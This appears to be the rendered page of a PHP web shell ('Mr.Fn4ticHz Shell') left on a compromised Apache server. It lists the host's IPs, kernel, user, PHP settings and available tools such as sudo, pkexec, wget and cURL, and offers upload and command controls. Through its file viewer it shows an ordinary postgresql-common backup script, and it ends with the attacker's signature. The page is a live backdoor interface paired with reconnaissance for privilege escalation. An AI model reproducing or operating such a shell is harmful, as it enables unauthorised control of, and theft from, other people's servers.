Mr.Fn4ticHz Shell
Server IP : 10.10.92.66  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux jurnalpolinema 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
User : jurnal ( 1001)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/postgresql-common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/share/postgresql-common/pg_getwal
#!/bin/sh

# retrieve a WAL file from a pg_receivewal archive
#
# Copyright (C) 2021 Christoph Berg <[email protected]>
#
#  This program is free software; you can redistribute it and/or modify
#  it under the terms of the GNU General Public License as published by
#  the Free Software Foundation; either version 2 of the License, or
#  (at your option) any later version.
#
#  This program is distributed in the hope that it will be useful,
#  but WITHOUT ANY WARRANTY; without even the implied warranty of
#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#  GNU General Public License for more details.

set -eu

if [ -z "${2:-}" ]; then
    echo "Syntax: $0 /path/to/wal/%f %p" >&2
    exit 1
fi

file="$1"
path="$2"

# sanity-check the first argument
waldir="$(dirname $file)"
if ! [ -d "$waldir" ]; then
    echo "$0: $waldir is not a directory" >&2
    exit 129
fi

if [ -f "$file.gz" ]; then
    gunzip < "$file.gz" > "$path" || exit 129
elif [ -f "$file.partial" ]; then
    cp "$file.partial" "$path" || exit 129
elif [ -f "$file" ]; then
    cp "$file" "$path" || exit 129
else
    # file not found, exit silently in order not to spam the server log with errors
    exit 1
fi

exit 0

: <<=cut

=head1 NAME

pg_getwal - retrieve a WAL file from a pg_receivewal archive

=head1 SYNOPSIS

B<pg_getwal> I</path/to/wal/%f> I<%p>

=head1 DESCRIPTION

B<pg_getwal> retrieves and decompresses files from a WAL archive maintained by
B<pg_receivewal> and B<pg_backupcluster>. It is put into PostgreSQL's
B<restore_command> by B<pg_restorecluster>.

=head1 SEE ALSO

L<pg_restorecluster(1)>, L<pg_backupcluster(1)>.

=head1 AUTHOR

Christoph Berg L<E<lt>[email protected]<gt>>

=cut

Mr.F4ticHz - 2022
Mr.Fn4tcHzam